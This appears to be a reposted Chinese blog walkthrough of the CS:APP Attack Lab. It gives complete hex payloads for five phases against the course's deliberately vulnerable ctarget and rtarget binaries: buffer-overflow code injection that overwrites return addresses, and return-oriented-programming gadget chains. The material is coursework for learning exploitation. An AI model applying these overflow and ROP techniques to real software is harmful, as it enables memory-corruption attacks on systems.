当前位置:   article > 正文

二、Attack Lab_attacklab download

attacklab download

一、准备

Attack Lab下载地址:http://csapp.cs.cmu.edu/3e/target1.tar
帮助文档:http://csapp.cs.cmu.edu/3e/attacklab.pdf
上一篇Bomb Lab

这篇文章其实是写了很久了, 上面链接资源可能不存在了,备份:https://gitee.com/beneil/csapplabc

二、概述

攻击手段

Code Injection(CI)

​ ​ 利用缓冲区溢出来注入攻击代码.通常,给程序输入字符串,其包含可执行代码的字节编码,一些攻击代码可能会覆盖栈中的返回地址,那么,执行ret指令的效果就是转跳到攻击代码.

Return-Oriented Programming(ROP)

​ ​ 当栈随机化或者限制可执行代码区域时,就可以使用该方法执行攻击代码(因为返回地址不可知),也就是利用程序本身的代码攻击程序,带有ret指令段的称谓gadget.(例子可以查看帮助文档ROP部分)

​ ​ call 指令将返回地址压入堆栈,再把被调用过程的地址复制到指令指针寄存器(rip).当过程准备返回时,它的 ret指令从堆栈把返回地址弹回到指令指针寄存器,rsp数值增加.

解压target1.tar得到rtarget,ctarget,cookie.txt,farm.c,hex2raw

目标

查看帮助文档,例如Phase1要使用CI方法注入touch1函数

在这里插入图片描述


gdb相关操作可以看Bomb Lab

三、步骤

phase1

查看帮助文档,ctarget执行test函数,在getbuf函数执行完后,希望执行touch1函数

void test()
{
	int val;
	val = getbuf();
	printf("No exploit. Getbuf returned 0x%x\n", val);
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
unsigned getbuf()
{
	char buf[BUFFER_SIZE];
	Gets(buf);
	return 1;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
void touch1()
{
	vlevel = 1; /* Part of validation protocol */
	printf("Touch1!: You called touch1()\n");
	validate(1);
	exit(0);
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

ctarget反汇编,objdump -d ctarget > ctarget.txt,分析getbuf第一行,%rsp-0x28,说明缓冲区大小为40;touch1函数地址为0x4017c0

00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq   
  4017be:	90                   	nop
  4017bf:	90                   	nop

00000000004017c0 <touch1>:
  4017c0:	48 83 ec 08          	sub    $0x8,%rsp
  4017c4:	c7 05 0e 2d 20 00 01 	movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  4017cb:	00 00 00 
  4017ce:	bf c5 30 40 00       	mov    $0x4030c5,%edi
  4017d3:	e8 e8 f4 ff ff       	callq  400cc0 <puts@plt>
  4017d8:	bf 01 00 00 00       	mov    $0x1,%edi
  4017dd:	e8 ab 04 00 00       	callq  401c8d <validate>
  4017e2:	bf 00 00 00 00       	mov    $0x0,%edi
  4017e7:	e8 54 f6 ff ff       	callq  400e40 <exit@plt>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20

先看一个简单的假设:缓冲区大小为4,输入1234,如果紧接着输入指定返回地址就能覆盖掉原先的返回地址,利用缓冲区溢出从而实现代码注入.

在这里插入图片描述

同理,当getbuf返回后,会从缓冲区后面获取返回地址,所以答案就是40个0+touch1地址,答案如下:

./hex2raw < phase1.txt | ./ctarget -q
  • 1

phas1.txt

00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
00 00 00 00 
c0 17 40 00
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

小端模式,是指数据的高字节保存在内存的高地址中,而数据的低字节保存在内存的低地址中

phase2

同样这关要求执行touch2函数,而且要求传入cookie参数

void touch2(unsigned val)
{
    vlevel = 2; /* Part of validation protocol */
    if (val == cookie) {
    	printf("Touch2!: You called touch2(0x%.8x)\n", val);
    	validate(2);
    } else {
    	printf("Misfire: You called touch2(0x%.8x)\n", val);
    	fail(2);
    }
    exit(0);
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

touch2汇编代码

00000000004017ec <touch2>:
  4017ec:	48 83 ec 08          	sub    $0x8,%rsp
  4017f0:	89 fa                	mov    %edi,%edx
  4017f2:	c7 05 e0 2c 20 00 02 	movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>
  4017f9:	00 00 00 
  4017fc:	3b 3d e2 2c 20 00    	cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>
  401802:	75 20                	jne    401824 <touch2+0x38>
  401804:	be e8 30 40 00       	mov    $0x4030e8,%esi
  401809:	bf 01 00 00 00       	mov    $0x1,%edi
  40180e:	b8 00 00 00 00       	mov    $0x0,%eax
  401813:	e8 d8 f5 ff ff       	callq  400df0 <__printf_chk@plt>
  401818:	bf 02 00 00 00       	mov    $0x2,%edi
  40181d:	e8 6b 04 00 00       	callq  401c8d <validate>
  401822:	eb 1e                	jmp    401842 <touch2+0x56>
  401824:	be 10 31 40 00       	mov    $0x403110,%esi
  401829:	bf 01 00 00 00       	mov    $0x1,%edi
  40182e:	b8 00 00 00 00       	mov    $0x0,%eax
  401833:	e8 b8 f5 ff ff       	callq  400df0 <__printf_chk@plt>
  401838:	bf 02 00 00 00       	mov    $0x2,%edi
  40183d:	e8 0d 05 00 00       	callq  401d4f <fail>
  401842:	bf 00 00 00 00       	mov    $0x0,%edi
  401847:	e8 f4 f5 ff ff       	callq  400e40 <exit@plt>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

所以,当getbuf返回的时候,跳到某个地址,然后把参数设置为cookie,最后再执行touch2

这个某个地址可以是缓冲区开始,也是就是getbuf函数sub $0x28,%rsp,gdb调试得出rsp-0x28=0x5561dc78

设置参数并执行touch2的代码为

movq $0x59b997fa,%rdi	;cookie.txt
pushq  $0x4017ec		;touch2地址
ret						;保存为phase2.s

gcc -c phase2.s -o phase2.o
objdump -d phase2.o > phase2as.txt

;得到汇编代码
0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	68 ec 17 40 00       	pushq  $0x4017ec
   c:	c3                   	retq   
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

在这里插入图片描述

所以答案

./hex2raw < phase2.txt | ./ctarget -q
  • 1

phase2.txt

48 c7 c7 fa	//可执行代码
97 b9 59 68
ec 17 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
78 dc 61 55 //返回地址
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

phase3

同理,执行touch3,参数是cookie,字符串形式(转换成ASCII码)(phase2可以传值,phase3要传地址)

void touch3(char *sval)
{
	vlevel = 3; /* Part of validation protocol */
	if (hexmatch(cookie, sval)) {
		printf("Touch3!: You called touch3(\"%s\")\n", sval);
		validate(3);
	} else {
		printf("Misfire: You called touch3(\"%s\")\n", sval);
		fail(3);
	}
	exit(0);
}
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
	char cbuf[110];
	/* Make position of check string unpredictable */
	char *s = cbuf + random() % 100;
	sprintf(s, "%.8x", val);
	return strncmp(sval, s, 9) == 0;
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21

反汇编得到touch3地址0x4018fa

movq $0x5561dca8,%rdi	;cookie的ASCII码存放地址,完成第一个参数传参
pushq  $0x4018fa		;touch3地址
ret	
  • 1
  • 2
  • 3

因为hexmatch会覆盖getbuf的缓冲区,所以把cookie字符串放在了返回地址后面(上一个栈帧,调用者栈帧)

在这里插入图片描述

所以答案

./hex2raw < phase3.txt | ./ctarget -q
  • 1

phase3.txt

48 c7 c7 a8	//可执行代码
dc 61 55 68
fa 18 40 00
c3 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
78 dc 61 55	//返回地址
00 00 00 00 
35 39 62 39	//cookie
39 37 66 61
00 00 00 00
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

phase4

采用了栈随机化和限制可执行代码区域,不能进行注入,所以采用ROP攻击,缓冲区溢出,替换掉返回地址,跳入某段gadget,执行pop,mov等操作,然后ret;返回后再跳入另外一个gadget,来达到想要的操作.

要求用ROP方法,执行touch2函数,而且要求传入cookie参数

所以我们的思路应该是利用缓冲区溢出,替换成某些gadget返回地址,达成pop %rdi ret(把cookie放到栈上),最后再到touch2,效果类似于下图:

在这里插入图片描述

反汇编rtarget,(farm.c包含在内),查看帮助文档,发现popq %rdi等于5f,ret等于c3.所以rtarget.txt查找5f c3

在这里插入图片描述

在这里插入图片描述

所以gadget的返回地址为401419+2=40141b

所以答案

./hex2raw < phase4.txt | ./rtarget -q
  • 1

phase4.txt

00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
1b 14 40 00	//gadget	
00 00 00 00		
fa 97 b9 59	//cookie,popq是8字节	
00 00 00 00		
ec 17 40 00	//touch2
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

phase5

同理ROP方法,执行touch3,参数是cookie,字符串形式

参考phase3,gadget要做的事就是:找空间存放cookie(基于rsp的一个确定地址),其次,把cookie的地址放入rdi,变成汇编表示就是

movq %rsp,%rax	;保存rsp
ret

add xxx,%rax	;基于rsp确定cookie存放地址,会找到add 0x37,%al
ret

movq %rax,%rdi	;第一个参数传参
ret
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

在这里插入图片描述

所以要找到类似于上面3个gadget,查看帮助文档,查找rtarget.txt.

第一个gadget48 89 e0+c3,计算得出地址401a03+3=401a06
在这里插入图片描述

在这里插入图片描述

第二个,通过https://defuse.ca/online-x86-assembler.htm#disassembly2,找到add的指令编码,刚好找04 +c3,找到地址4019d6+2=4019d8,

表现为add 0x37,%al

指令指令编码
add al,0x104 01
add ax,0x166 83 c0 01
add eax,0x183 c0 01

第三个,找48 89 c7+c3,计算得出地址4019a0+2=4019a2

所以答案,

./hex2raw < phase5.txt | ./rtarget -q
  • 1

phase5.txt

00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
06 1a 40 00	//1.gadget,
00 00 00 00
d8 19 40 00	//2.gadget,第13行开头往后数55个0是cookie位置
00 00 00 00
a2 19 40 00	//3
00 00 00 00
fa 18 40 00	//touch3
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00	
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 35	//cookie,0x37=55,
39 62 39 39
37 66 61 00
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/运维做开发/article/detail/827875
推荐阅读
相关标签
  

闽ICP备14008679号